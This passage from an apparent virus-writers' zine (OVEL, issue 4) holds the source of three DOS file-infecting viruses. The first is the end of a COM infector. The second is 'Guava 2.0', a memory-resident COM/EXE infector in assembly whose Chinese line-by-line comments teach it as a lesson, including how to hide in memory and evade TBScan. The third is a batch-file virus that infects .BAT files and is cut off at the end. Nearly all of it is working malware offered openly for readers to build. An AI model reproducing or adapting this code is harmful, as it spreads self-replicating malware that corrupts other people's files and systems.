db '┌------------------------------┐',0dh,0ah
db '│ [ Remember 4.0 ] │',0dh,0ah
db '│ │',0dh,0ah
db '│  祝 曾怡珍 生日快乐  │',0dh,0ah
db '│ │',0dh,0ah
db '│ 最真的感情 最真的祝福 │',0dh,0ah
db '│ │',0dh,0ah
db '│ 在此刻都将付诸于你 │',0dh,0ah
db '│ │',0dh,0ah
db '│ 愿此时你能收到这突来的祝福 │',0dh,0ah
db '│ │',0dh,0ah
db '├------------------------------┤',0dh,0ah
db '│- Written by Jean at O.V.E.L -│',0dh,0ah
db '└───────────────┘',0dh,0ah
db 07h,'$'
e_msg db 0dh,0ah,0dh
db ' <<< Welcome >>> ',0dh,0ah
db '=================================',0dh,0ah
db ' The OVEL bbs Tel is 02-927-7432 ',0dh,0ah
db '=================================',0dh,0ah
db 07h,07h,07h,'$'
infect proc near
lea si,newdta[bp+15h] ;属性/时间/日期/长度 ..
mov cx,4 ;
lea di,file_attr[bp] ;
rep movsw
movsb
lea dx,newdta[bp+1eh] ;
mov ax,4301h ;设成档案属性
xor cx,cx ;当然喽 cx 要等于 0
int 21h ;
mov ax,3d02h ;开启一个可读写的档案
lea dx,[bp+offset newdta+001eh] ;ds:dx=档案的路径和名称
int 21h
jc open_error
xchg bx,ax ;资料互换
mov ah,3fh ;读取一个档案
mov cx,0005h ;读取的byte 数
lea dx,[bp+offset head_read] ;缓冲区的位址
int 21h
cmp word ptr [bp+offset head_read+0003h],id_word
je close_file
mov ax,0242h ;输入一个字元
xchg ah,al ;
xor dx,dx ;
mov cx,dx ;
int 21h
sub ax,0003h
mov [bp+offset head_write+0001h],ax
mov ah,40h ;写档
mov cx,vir_size ;写入的byte 数
lea dx,[bp+offset vir_start] ;缓冲区位址
int 21h
mov ax,4200h ;移动读写指标(移动方法 al=0 从头开始)
xor cx,cx ;
cwd
int 21h
mov ah,40h ;写档
mov cx,0005h ;写入的byte 数
lea dx,[bp+offset head_write] ;
int 21h
close_file:
mov ax,5701h
mov cx,word ptr [offset file_time+bp] ;恢复时间
mov dx,word ptr [offset file_date+bp] ;和日期:)
int 21h
mov ah,3eh ;关档
int 21h
lea dx,newdta[bp+1eh] ; 恢复属性喽..
xor cx,cx ; 呵呵呵..:)
mov cl,byte ptr [offset file_attr+bp] ; 这里务必在关档
mov ax,4301h ; 才作,
int 21h ;
mov ax,0fe01h ;enable_NAV
mov si,4e41h ;
mov di,4e55h ;
int 2fh ;
open_error:
ret
infect endp
head_read db 0cdh,20h,00h,00h,00h
head_write db 0e9h,00h,00h
dw id_word
next_dir db '..',0
now_dir db 64 dup(0)
findfile db '*.com',00h
old_ss dw 0000h
oldint21h dd 00000000h
vir_size equ $-offset vir_start
newdta db 2bh dup(00h)
reg_ax dw ?
bios_int13 dw ?,?
old13 dw ?,?
file_attr db ?
file_time dw ?
file_date dw ?
code ends
end start

--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.005 e
l [病毒] l
O O
v Guava 2.0 (教学版) Dark Killer v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
;
; □ 病毒名称
; Guava 2.0 (教学版)
;
; □ 病毒作者
; Dark Killer of [OVEL,TP]
;
; □ 病毒特性:
;
; * 「重定位」及「判断所要感染的档案是 COM 或 EXE」躲避 TBScan
; * 常驻在最后一个 MCB,有 UMB 会自动 LoadHigh
;
; □ 注意事项
;
; - 请使用 TASM/TLINK 编译。
;
.286c ; 我们使用 286 指令,所以要告诉
; tasm: 这只毒用到的程式码有
; 286 才能用的指令,而 "c" 有加
; 等于没加,个人的习惯。
.model tiny ; 告诉 tasm 要用 com 模式。而
; com 模式就是用 .model tiny 来
; 告诉 tasm。
.code ; 告诉 tasm 程式从这里开始。
org 0 ; 把档案的偏移设为 0,既然档案
; 的偏移为 0,而 com 档的偏移又
; 是 100h,怎么会这样呢? 因为病
; 毒是一种特殊的「程式」,他会
; 用到一些很特殊的方法,像一般
; 常驻时,都用 mov ah,31h 然后
; 再用 int 21h,但是这个方法的
; 缺点就是用 mem/c 就会被发现有
; 病毒的存在,所以现在的毒都是
; 想办法避免用这个方法,而直接
; 找一块可以放病毒的记忆体,而
; 我们找的记忆体就刚好是从
; [0000h] 开始放置,使得「记忆
; 体中的偏移是 "0",而下面的偏
; 移是「档案中的偏移」(也就是还
; 没到记忆体中时所用的偏移),是
; 不一样的。
start:
cld ; 设方向旗标为 0,当方向旗标为
; 0 时,使用 movs?、cmps? 及
; stos? 都会「顺向」,即 si、di
; 会增加 (如果 "?" 内是 b [代表
; byte] 则增加 1,如果是 w [代
; 表 word] 则增加 2,若是 d [代
; 表 dword,也就是 double word]
; 则增加 4),如果方向旗标是 1,
; 则 si、di 会减少,也就是「逆
; 向」,减少的大小与方向旗标为
; 0 时是一样的。
db 0beh ; 设定档案中的偏移,这行的指令
file_offset dw 0100h ; 就是 mov si,???? (???? 内定值
; 我们设为 100h,因为我们是在
; com 档内被起动的) (前面不是有
; 说过 .model tiny 吗? "tiny"
; 就是要告诉 tasm 这是 .com 档)
push es ; 把 es 保留 (若感染了一个 exe
; 后再执行这个 .exe 档时, cs
; 会等于 ss (因为病毒设定成这样
; 但是 ds、es 不会等于 cs、ss (
; dos 规定 ds=es=psp),既然 ds
; 与 es 相等,那么只需保留一份
; 下来即可,以便等一下要把 ds、
; es 恢复原状。
push si ; 保留档案的偏移值 (因为下面会
; 改变 si,而 si 内放著档案的偏
; 移值)
mov ax,48feh ; 当 ah=48h 时的意思是跟 dos 要
mov bh,al ; bx para 大小的记忆体 (1 个
int 21h ; para 等于 16 个 bytes,只是用
; 的单位不同,造成数字看起来不
; 同,事实上都是相同的)
jnc run_host ; 当 ah=48h 时,bx 等于跟 dos
; 要的 para 数目,而 bh=al=0feh
; 就是跟 dos 要 0fe??h 的 para
; 数目,而 0fe??h para 就等于是
; 0fe??0h bytes 大约是 635Kb,
; dos 当然没有办法空出那么大的
; 记忆体罗,那就回传回 "错误"
; ,"错误" 怎么传呢? 就用 C 旗
; 标,当 C 旗标设 "0" 时 (表示
; 记忆体中的毒把 C 旗标动过手脚
; ,既然记忆体中有毒,何必再放
; 一份毒在记忆体上呢? 就不用再
; 「安装」一次了,就准备要执行
; 原程式了。
install: ; 这边是「安装」病毒的程式码。
mov ax,ds ; 执行到这时,ds = psp (不论这
; 只毒是在 com 或是 exe 内执行
; 而被起动的,ds、es 都会指向
; psp),然后把 ax 也指向 psp,
; 准备下个动作。
dec ax ; 每一块记忆体都会配置一小段记
; 忆体,来说明他所管理的记忆体
; 的大小、位置,而因为记忆体是
; 一块一块连著放 (每一块都靠在
; 一起的),所以我们可以算出这一
; 块的大小,然后再算出下一块的
; 位置,知道下一块的位置后,又
; 可以用同样的方法 (因为下一块
; 也有记录著他管的记忆体有多大)
; 来算出下下一块,一直算到最后
; ,就是最后一块。为何要算最后
; 一块呢? 因为最后一块「通常」
; 是 free (未被使用的),可以把
; 病毒放在那边。而在每一块记忆
; 体的前面 (不是在这快记忆体内)
; 就是我们刚刚所讲的,里面有这
; 块记忆体的大小、位置等等的资
; 料。
; ps: 这块资料区我们就叫作 MCB
; (Memory Control Block,记忆体
; 控制区块,也就是可以利用这块
; 资料区控制整台电脑记忆体的配
; 置,控置不好就准备按下 Reset
; 罗)
xor di,di ; 病毒写作上都要求小而精悍,而
; xor di,di 的目的会把 di 变 0
; (会改变旗标!! 但是在我们这里
; 不会影响到这只毒的运作),而
; mov di,0 会用掉 3 个 bytes,
; xor di,di 只有 2 个 bytes,所
; 以我们通常都用 xor di,di。
loop1: ; 这是一个标记,给回圈用的。(回
; 圈不一定要用 loop 系列的指令
; ,只要有「利用一段程式码不断
; 的作某事」就算是回圈了。
mov ds,ax ; 刚刚把 ax 减一,然后现在要把
; 这个减一的值放到 ds 内,等一
; 下才方便使用,而 ds 内的值就
; 是指向 MCB (记忆体控制区块)
cmp byte ptr [di],'M' ; 记忆体控制区块的第一个 byte
je con1 ; 是说明它所控制的记忆体是最后
cmp byte ptr [di],'Z' ; 一个 (如果是最后一个,这里会
jne con2 ; 放 "Z"),还是不是最后一个 (如
; 果不是最后一个,这里会放 "M")
; 如果两个都不是 (代表以经「超
; 过」了,就要跳回来原来的记忆
; 体区块 (这才是最后一个记忆体
; 区块),然后跳到 con2 的地方去
; 配置让病毒藏身的记忆体。
con1:
mov bx,ax ; 先把 ax 内的值保留,怕「超过
; 」,所以先把现在的 MCB 位置留
; 起来,如果等下「超过」,这里
; 因为有保留起来 (也可以算是「
; 备份」起来),就可以直接拿来用
; 了。
inc ax ; 当你知道这个 MCB 的位置后,把
add ax,word ptr [di+3] ; MCB 加一再加上这个 MCB 所控制
; 的大小就变成了下一个 MCB 的位
; 置了,而这个 MCB 的大小就是在
; MCB 开头往下 3 bytes,而刚刚
; 不是把 di 变 0 吗? (用 xor 指
; 令的那一行),这时候变成 0+3=3
; ,就指向 DS:[0003h] 的位置了
; ,也许有人会问,为何不直接用
; [0003h] 呢? 同样的道理,因为
; [di+3] 的指令比较小。
jmp loop1 ; 往回跳,形成回圈。
con2: ; 当找到最后一块 MCB 时便会跳来
; 这里。
mov ds,bx ; 当找到最后一块 MCB 后,bx 一
; 定会保存著最后一块 MCB 的值
; (这个值是「节区值」)
mov ax,word ptr [di+3] ; 这行是把最后一个 MCB 的大小找
; 出来。
sub ax,vir_para ; 然后减掉病毒大小 (vir_para),
jc run_host ; 如果溢位 (借位),代表这块记忆
; 体的大小不够病毒藏身,那就放
; 弃藏身。为何溢位 (借位) 就代
; 表这块记忆体不够大呢? 这是因
; 位如果有借位 (这里溢位等于借
; 位),就是说 ax < vir_para,造
; 成 ax 减去病毒长度时不够减,
; 而借位,借位时 C 旗标会变 "1"
; 如果 C 旗标变成 "1" 那就表示
; 借位 (溢位) 了,也可以说成
; ax < vir_para,既然这块记忆体
; 不够大,那就只好放弃了。
mov word ptr [di+3],ax ; 把这快所管理的记忆体空间减小
; ,使得有一块空出来,而它却管
; 不到,然后病毒就可以藏在那块
; 管不到的地方。嘿! 嘿! 嘿!
add ax,bx ; bx 到现在还没有动过 (里面保留
inc ax ; 著这块 MCB 的值),然后要算出
; 那块管不到的记忆体 (三不管地
; 带?!),然后才能把病毒给搬过去
; 住。
mov es,ax ; ax 刚刚就算好了,这时的 ax 指
; 向「三不管地带」,然后把 es
; 指向该区,准备搬移。为何不用
; ds 呢? 因为「rep movsb」这道
; 指令对于搬移很方便,而 rep
; movsb 有规定一定要由 ds:si 搬
; 往 es:di 搬 cx 个 bytes,所以
; 就要放在 es 罗 (es:di 为「目
; 的地」),而此时的 di 为 0,也
; 就是刚刚用 xor di,di 的结果。
; 所以这边就不用再设定 di 为 0
; 了。一个程式码要考虑很多,才
; 能够写出最小的病毒,像 Cute
; (DS 写的) 就是罗。
push cs ; 因为准备要把 ds:si 的东西搬到
pop ds ; es:di 去,而是把病毒搬过去,
; 病毒在那呢,就在「cs:偏移」的
; 地方,这个偏移是档案的偏移,
; 而偏移刚刚就是放在 si,所以
; ds:si 就刚刚好指向病毒开头罗
; 。
mov cx,vir_size ; 设定要搬多大,因为我们要把病
; 毒整只搬过去,所以设为病毒的
; 大小 (即 vir_size)。
rep movsb ; 把病毒主体搬过去。
xor si,si ; 先把 si 变为 0
mov ds,si ; 把 ds 也变为 0 (刚刚的 si 不
; 是变 0 了吗?) ,准备改中断向
; 量表中的 int 21h。
mov ax,offset newint21h ; 将 ax 放置我们的 int 21h 偏移
xchg word ptr [si+180h],ax ; 将 ax 与原来的 int 21h 偏移对
; 调,此时,因为 si 为 0,所以
; 它指向的是 0000h:0084h,也就
; 是记录著 int 21h 的位置之处。
; 而这道指令执行完后,ax 为原
; int 21h 的偏移,而记忆体中为
; 我们的 int 21h (newint21h) 的
; 偏移。
mov word ptr es:oldint21h,ax; 然后把原来的 int 21h 偏移放入
mov word ptr es:entint21h,ax; oldint21h 及 entint21h。
mov ax,es ; 把我们的 int 21h 节区位置放到
; ax 去。
xchg word ptr [si+182h],ax ; 将 ax 与原来的 int 21h 交换。
; 使得 ax 为原来 int 21h 的节区
; 值。
mov word ptr es:oldint21h+2,ax; 把原 int21h 的节区值放入
mov word ptr es:entint21h+2,ax; oldint21h 及 entint21h
run_host: ; 这边就是准备执行原档案的程式
; 片断了。
pop si ; 把偏移拿回来 (很前面不是有用
; push si 保留吗?)
pop es ; 把 psp 节区值拿回来
push cs ; 让 cs=ds
pop ds
cmp sp,0a000h ; 如果是从 .com 档起动,sp 应该
jb run_exe ; 会等于 0fffeh,但是如果是从
; exe 档起动,sp 则会设在 8xxxh
; 左右。若此时 sp 小于 0a000h,
; 代表病毒是从 exe 档起动的,就
; 跳到恢复 exe 档的片断。
run_com: ; 这里是恢复 com 专用的程式。
add si,offset head_1 ; 这行其实本来是
; lea si,[si+offset head_1]
; 因为要省程式码,所以用 add 指
; 令即可。而 head_1 放的就是原
; 档案的档头。
mov di,100h ; 因为等一下要用到 movsw、movsb
; 所以要把 es:di 设在档头,把原
; 档头恢复。
movsw ; 你也许会觉得很奇怪,为何这里
movsb ; 是用 movsw、movsb 来搬,而不
; 是用 rep movsb 来搬呢? 因为用
; rep movsb 还要设定 mov cx,3,
; 就吃掉 3 个 bytes,如果再加上
; rep movsb 的 2 个 bytes,就 5
; 个 bytes 了,如果用 movsw 及
; movsb 的话,只剩下 2 bytes,
; 程式码当然是愈小愈好。
sub di,3 ; 这时的 di 已经变成 103h,再减
; 掉 3 就变成 100h,就可以执行
; 原档案了。
jmp di ; 为何不直接用 jmp 0100h 呢? 因
; 为 jmp ???? (其中 ???? 是数字
; ) 是以往后跳 n 个 bytes 或往
; 前跳 n 个 bytes,属于「相对性
; 」,而不是绝对性。
run_exe:
mov cx,es ; 此时的 es 是指向 psp 的值 (刚
add cx,10h ; 刚不是 pop es),现在把 es 的
; 值放入 cx,然后再加 10h (psp
; 的大小)
add si,offset head_1+0eh ; 这行相当于下面这一行:
; lea si,[si+offset head_1+0eh]
; 但是要省程式码,就直接加罗,
; 至于为何要再加 0eh,是因为加
; 了 0eh 后可以直接用 lodsw 读
; 到 ss:sp 的值。(当然不是只读
; 一次罗,ss 及 sp 各要读一次,
; 下面就要读 ss、sp 罗)
lodsw ; 这里读进来 ss 的「起始值」,
; 所以我们要改成真正的 ss 值。
add ax,cx ; 刚刚说过 cx=psp 再加 10h,所
; ax 执行这道指令后就变成真正的
; ss 值。ps: 真正的 ss 值等于档
; 头的 ss 值加 psp 节区位置再加
; 10h
xchg bx,ax ; 把真正的 ss 值换到 bx 去,为
; 何不用 xchg bx,ax 呢? 这是因
; 为 xchg bx,ax 只有 1 byte,而
; mov bx,ax 要 2 bytes,「省程
; 式码」是我们的写毒的习惯之一
lodsw ; 这时读入的就变成 sp,sp 比较
; 简单,不用再换,直接就可以用
mov ss,bx ; 把原程式的堆碟改回去 (此时的
mov sp,ax ; bx 是 ss,ax 是 sp)
lodsw ; 把 si 加 2,因为这个 word 我
; 们没有用到。为何不用 inc si、
; inc si 呢? 因为要「省程式码」
; lodsw 只有 1 byte,而 inc si
; 、inc si 要 2 bytes,但是要注
; 意,此时的 D 旗标 (方向旗标)
; 要设定好,否则反而会造成
; dec si、dec si 的效果。
lodsw ; 这时候读入的是 ip 值 (不用改)
xchg bx,ax ; 把 ip 的值放到 bx
lodsw ; 此时读入的是「起始值」的 cs,
add ax,cx ; 需要处理,方法跟 ss 一样,加
; psp 的值及 10h
push ax ; 这个 ax 是 cs,而 bx 是 ip,
push bx ; 把他们推入堆碟,准备跳回原程
; 式
push es ; 别忘了现在只有 es 是指向 psp
pop ds ; ,所以要把 ds 一起指向 psp。
retf ; 返回原程式 (刚刚不是有 push
; 了 cs、ip ?)
head_1 db 0cdh,20h ; 为何要用 0cdh,20h 呢? 这是因
db 16h dup(?) ; 为第一次执行时要让原程式正常
; 结束,所以就用了 0cdh,20h 这
; 个指令 (cdh,20h 即 int 20h 的
; 程式码)
msg db '[Guava 2.0] by Dark Killer of [OVEL,TP]',0
; 这个就不需要讲吧,Guava 2.0
; 教学版的讯息。
newint21h: ; 我们的 int 21h 服务程式。
pushf ; 先保留原来的旗标,因为等一下
; 要用到 cmp 指令,而 cmp 指令
; 会干扰到原来的旗标,所以我们
; 要先保留。
cmp ah,4bh ; 如果 ah=4bh 时,代表他要执行
je infect ; 档案,就趁机感染。
cmp ax,48feh ; 如果是自己的毒要看看病毒是不
jne newint21h_exit ; 在记忆体中,如果是,就要给他
cmp bh,al ; 一个回应,让他知道病毒已经常
jne newint21h_exit ; 驻了。
popf ; 这里就是确定是病毒在呼叫,就
iret ; 返回直接返回。
newint21h_exit: ; 离开我们自己的 int 21h,回到
popf ; dos 的 int 21h
jmp dword ptr cs:oldint21h
infect: ; 感染档案的副程式。
pusha ; 先保留所有的暂存器。其中里面
push ds ; 的 pusha 是属于 286 指令,在
push es ; PC/XT 的机器上是不能跑的。
mov ax,3d02h ; 此时因为 ah=4bh 时 ds:dx 刚好
call callint21h ; 是档名,那我们就可以直接使用
; ax=3d02h (读写模式) 直街开档
jnc infect_con1 ; 如果没有错误,就继续执行。
jmp infect_exit0 ; 如果有错误,就跳出。
; 这里为何不用 jc 呢? 因为 jc
; 跳的不够远 (只能往下跳 128 或
; 往上跳 127 bytes)
infect_con1:
xchg bx,ax ; 把档案的编号放到 bx,为何不用
; mov bx,ax 呢? 因为程式码比较
; 小,xchg bx,ax 只要 1 byte,
; 而 mov bx,ax 要 2 bytes。
mov ax,5700h ; 这边是要判断档案是否感染过了
call callint21h ; ,如果档案的秒数是 2 秒,则代
and cl,00011111b ; 表感染过了,就不要再感染。当
cmp cl,00000001b ; ax=5700h int 21h 时,会传回这
jne infect_con2 ; 个档的时间 (cx)、日期 (dx)。
jmp infect_exit1 ; 当然,bx 要先设为档案的编号。
infect_con2:
push cx ; 先保留档案的时间与日期。
push dx
push cs ; 将 ds 调整与 cs 相等。
pop ds
mov ah,3fh ; 从档头读入 18h 个 bytes。因为
mov cx,18h ; 不知道这个档是 com 或 exe,所
mov dx,offset head_1 ; 以就甘脆读进来判断...
call callint21h
mov ax,4202h ; 移到档案的尾巴,得到档案的大
xor cx,cx ; 小 (dx:ax)
cwd
call callint21h
push ax ; 先把 ax 值与 dx 值保留,因为
push dx ; 等一下病毒要用到这两个东西。
; 而 dx:ax 就是放档案的大小。
mov ax,word ptr head_1 ; 把档头的两个 bytes 读入,若是
add al,ah ; exe 档则必为 "MZ" 或 "ZM",但
cmp al,'M'+'Z' ; 加起来都一样 "M"+"Z"="Z"+"M"
je infect_exe ; 而且还可以躲避 TBScan 的扫描
; 如果档头的 2 bytes 是值刚好是
; "M"+"Z",那就用 exe 档感染方
; 法。
infect_com: ; 这一段是要感染 com 档用的。
pop dx ; 把 dx:ax (档案长度) 取回来。
pop ax
mov byte ptr head_2,0e9h ; 先把 head_2 (写入用的档头) 第
; 一个 byte 填 0e9h (jmp 指令)
sub ax,3 ; 此时的 dx:ax 为档案长度,因为
mov word ptr head_2+1,ax ; 是 com 档,不会超过 64k,所以
; dx 不用管 (因为一定为 0),然
; 后 ax 就是档案长度,把档案长
; 度减 3,变成 0e9h (jmp) 后面
; 的偏移值,然后跳过去。不过有
; 一套软体 (4dos) 例外,com 档
; 的长度超过 64k,就必需再加以
; 处理了,不过我们暂时不讨论这
; 套软体。
add ax,103h ; 把刚才的减 3 也一起抵消,然后
mov word ptr file_offset,ax ; 还要再加 100h,所以就变成了加
; 103h,即变成「档案内的偏移」
mov ah,40h ; 刚刚把指标移到档案尾巴,是为
mov cx,vir_size ; 了取档案长度外,还有一个用途
cwd ; ,即写入病毒主体。而 cwd 会在
call callint21h ; ah < 80h 时让 dx 变成 0,在
; ah > 80h 或 ah = 80h 时让 dx
; 变成 0ffffh。而在记忆体中 (执
; 行这里时已经是在记忆体中罗!)
; 的偏移是 0,再加上我们要写的
; 位置刚好是 0,所以直接用 cwd
; 即可。为何不用 xor dx,dx 呢?
; 那是因为 cwd 只要 1 byte,而
; xor dx,dx 要 2 bytes。
mov ax,4200h ; 把档案指标移到档头,准备写入
xor cx,cx ; 档头。同理,cwd 在 ah < 80h
cwd ; 时会让 dx 变 0
call callint21h
mov ah,40h
mov cx,3 ; 要写入三个 bytes。
mov dx,offset head_2 ; 把 dx 指向写入专用的档头。
call callint21h
jmp infect_exit2 ; 跳到 infect_exit2,作标记及关
; 档的动作。
infect_exe: ; 这边是感染 exe 档的程式码。
pop dx ; 把档案的长度 (dx:ax) 取回来。
pop ax
push cs ; 把 es 与 cs 相等,因为等一下
pop es ; 要用到搬移 rep movsb。
cld ; 把方向旗标设 0,以免等一下搬
; 移时出错
mov cx,18h ; 把 head_1 的内容复制到 head_2
mov si,offset head_1 ; ps: 此时 cs=ds=es
mov di,offset head_2
rep movsb
push ax ; 此时的 dx:ax 是档案长度,因为
push dx ; 等下会改变到 dx:ax,所以要先
; 用 push ax、push dx 保留起来
; 。
add ax,vir_size ; 把档案长度加上病毒长度,因为
adc dx,0 ; exe 档的长度可以超过 64k,所
; 以 dx 可能不为 0,要把 dx 用
; adc 再加一次。
mov cx,200h ; 被除数: dx:ax
div cx ; 除数: cx (200h)
; 商数: ax
; 余数: dx
or dx,dx ; 如果余数不为 0,则商数 (ax)
je infect_exe_con1 ; 要加一。
inc ax
infect_exe_con1:
mov word ptr head_2+2,dx ; 放档案页数 (512 bytes 一页)
mov word ptr head_2+4,ax ; 放档案余数
pop dx ; 把刚刚保留的 dx:ax (档案长度)
pop ax ; 给拿出来。
mov cx,10h ; 被除数: dx:ax
div cx ; 除数: cx (10h)
; 商数: ax
; 余数: dx
sub ax,word ptr head_2+8 ; 把商数 (ax) 减掉档头。
mov word ptr head_2+14h,dx ; 放入 ip 值
mov word ptr head_2+16h,ax ; 放入 cs 值
mov word ptr file_offset,dx ; 放入档案中的偏移
add dx,8000h ; 算 sp (ip 加 8000h)
mov word ptr head_2+0eh,ax ; 放入 ss 值 (同 cs)
mov word ptr head_2+10h,dx ; 放入 sp 值
mov ah,40h ; 将病毒主体写入档案。同理,cwd
mov cx,vir_size ; 在 ah < 80h 时可以把 dx 变成
cwd ; 0
call callint21h
mov ax,4200h ; 移到档头,准备写入病毒主体。
xor cx,cx
cwd
call callint21h
mov ah,40h ; 将病毒主体写入。
mov cx,18h
mov dx,offset head_2
call callint21h
infect_exit2: ; com 感染完、exe 感染完最后都
; 会到这。
pop dx ; 将保留的 cx、dx (档案时间、日
pop cx ; 期) 拿出来,准备作感染过的
; mark
and cl,11100000b ; 先将秒数变 0,将将秒数加二。
inc cx ; ps: dos 档案内的秒数是两秒一
; 个单位。
mov ax,5701h ; 设定档案时间。
call callint21h
infect_exit1:
mov ah,3eh ; 关闭档案。
call callint21h
infect_exit0:
pop es ; 将前面保留的暂存器恢复,以免
pop ds ; 系统当掉。
popa
jmp newint21h_exit ; 跳回原 int 21h
;------------------------------------------------------------------------------
callint21h: ; 呼叫 int 21h 的副程式。
pushf ; 先保留旗标,再用 call (far)
call dword ptr cs:entint21h ; 去执行。
ret
vir_size equ $-offset start ; 病毒长度到此而已。
vir_para equ (mem_size+0fh)/10h ; 病毒所占大小是 "mem_size",而
; 不是 "vir_size",因为下面的部
; 份也要吃记忆体。
head_2 db 18h dup(?) ; 写入专用的档头 (com、exe 共用
; )
oldint21h dd ? ; 保留原始 int 21h 中断。
entint21h dd ? ; 保留原始 int 21h 中断,但以后
; 可以加强为「原始 int 21h」进
; 入点。
mem_size equ $-offset start ; 从头到这所需的记忆体大小。
end start ; 告诉 tasm 程式到此为止。

--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.006 e
l [病毒] l
O O
v Pc-Soft James Virus Pc-Soft James v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel

@ECHO OFF
SET WP=
IF %1X==/MCDX GOTO PJVIRMCD
IF NOT %CD%X==YX CALL %0 /MCD
SET WP=
SET CD=
@ECHO ON
REM 原来的批次档...
:PJVIRSTRT
@ECHO OFF
ECHO 易玄是帅哥.... > \PJVIRWPT
IF NOT EXIST \PJVIRWPT SET WP=ON
REM 防写,那就算了...
IF %WP%X==ONX GOTO PJVIREND
SET F=
IF EXIST C:\*.BAT SET F=Y
IF EXIST \*.BAT SET F=Y
IF EXIST *.BAT SET F=Y
IF %F%X==YX GOTO PJVIRFF
:PJVIRCNT
IF %FN%X==4X GOTO PJVIRSIC
IF %FN%X==3X SET FN=4
IF %FN%X==2X SET FN=3
IF %FN%X==1X SET FN=2
IF %FN%X==X SET FN=1
SET F=Y
GOTO PJVIREND
:PJVIRFF
REM 建立抄录档..
REM 抄录档 1 : 档头 [\PJVIRTMP]
ECHO @ECHO OFF > \PJVIRTMP
ECHO SET WP= >> \PJVIRTMP
ECHO IF %%1X==/MCDX GOTO PJVIRMCD >> \PJVIRTMP
ECHO IF NOT %%CD%%X==YX CALL %%0 /MCD >> \PJVIRTMP
ECHO SET WP= >> \PJVIRTMP
ECHO SET CD= >> \PJVIRTMP
ECHO @ECHO ON >> \PJVIRTMP
REM 抄录档 2 : 本身 [\PJVIRTMP.1]
SET PJCD=
CALL \PJVIRCD.BAT
DEL \PJVIRCD.BAT
IF %PJCD%X==C:\X GOTO PJVIROK
IF %PJCD%X==D:\X GOTO PJVIROK
IF %PJCD%X==A:\X GOTO PJVIROK
IF %PJCD%X==B:\X GOTO PJVIROK
SET PJCD=%PJCD%\
:PJVIROK
IF EXIST %PJCD%%0.BAT GOTO PJVIROK2
IF EXIST %PJCD%%0 GOTO PJVIROK2
IF EXIST %0 GOTO PJVIROK2
IF EXIST %0.BAT GOTO PJVIROK2
GOTO PJVIREND
:PJVIROK2
IF EXIST %0 SET OLD=%0
IF EXIST %0.BAT SET OLD=%0.BAT
IF EXIST %PJCD%%0 SET OLD=%PJCD%%0
IF EXIST %PJCD%%0.BAT SET OLD=%PJCD%%0.BAT
CALL %OLD% /MCD
CALL \PJVIRCD.BAT
DEL \PJVIRCD.BAT
IF EXIST %PJCD%\%0.BAT GOTO PJVIRYES
IF EXIST %PJCD%\%0 GOTO PJVIRYES
GOTO PJVIRCN1
:PJVIRYES
ECHO\ > %PJCD%\CHECKLST.PJ
:PJVIRCN1
ECHO\ > \PJVIRTMP.1
ECHO @ECHO OFF >> \PJVIRTMP.1
ECHO GOTO PJVIRSTRT >> \PJVIRTMP.1
COPY \PJVIRTMP.1 + %OLD% \PJVIRTMP.1 /B> NUL

REM ******* 抄录档建好了 ***************
REM 建立感染副程式
ECHO IF %%1X==C:\PJVIRCHK.BATX GOTO END > \PJVIRCHK.BAT
ECHO IF %%1X==PJVIRCHK.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF %%1X==\PJVIRCHK.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF %%1X==C:\PJVIRCH1.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF %%1X==PJVIRCH1.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF %%1X==\PJVIRCH1.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF EXIST %%PJCD%%PJVIRTMP.2 DEL %%PJCD%%PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO REN %%1 PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO COPY \PJVIRTMP + %%PJCD%%PJVIRTMP.2 + \PJVIRTMP.1 %%1 >> \PJVIRCHK.BAT
ECHO CLS >> \PJVIRCHK.BAT
ECHO IF EXIST %%PJCD%%PJVIRTMP.2 DEL %%PJCD%%PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO :END >> \PJVIRCHK.BAT
SET F=
IF NOT EXIST *.BAT GOTO PJVIRCRO
IF EXIST CHECKLST.PJ GOTO PJVIRCRO
SET PJCD=
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > CHECKLST.PJ
:PJVIRCRO
IF NOT EXIST C:\*.BAT GOTO PJVIRROOT
IF EXIST C:\CHECKLST.PJ GOTO PJVIRROOT
SET PJCD=C:\
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (C:\*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > C:\CHECKLST.PJ
:PJVIRROO
IF NOT EXIST \*.BAT GOTO PJVIREND
IF EXIST \CHECKLST.PJ GOTO PJVIREND
SET PJCD=\
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (\*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > \CHECKLST.PJ
GOTO PJVIREND
:PJVIRMCD
ECHO GOTO PJVIRSET > \PJVIRCD.BAT
IF EXIST %0.BAT COPY \PJVIRCD.BAT + %0.BAT \PJVIRCD.BAT > NUL
IF EXIST %0 COPY \PJVIRCD.BAT + %0 \PJVIRCD.BAT > NUL
CD >> \PJVIRCD.BAT
SET CD=Y
GOTO PJVIRSET
:PJVIRSIC
ECHO
ECHO Pc-Soft James BATCH DEMO VIRUS Ver 1.0
ECHO
ECHO This is a DEMO virus, so it is no sick,if
ECHO you get the other one, you mabye be died!!
ECHO
ECHO BECAREFUL !!! VIURS IS IN YOUR SIDE !!!
ECHO
ECHO
ECHO\
ECHO
ECHO   Pc-Soft James 批次档 展示 病毒 版本 1.0
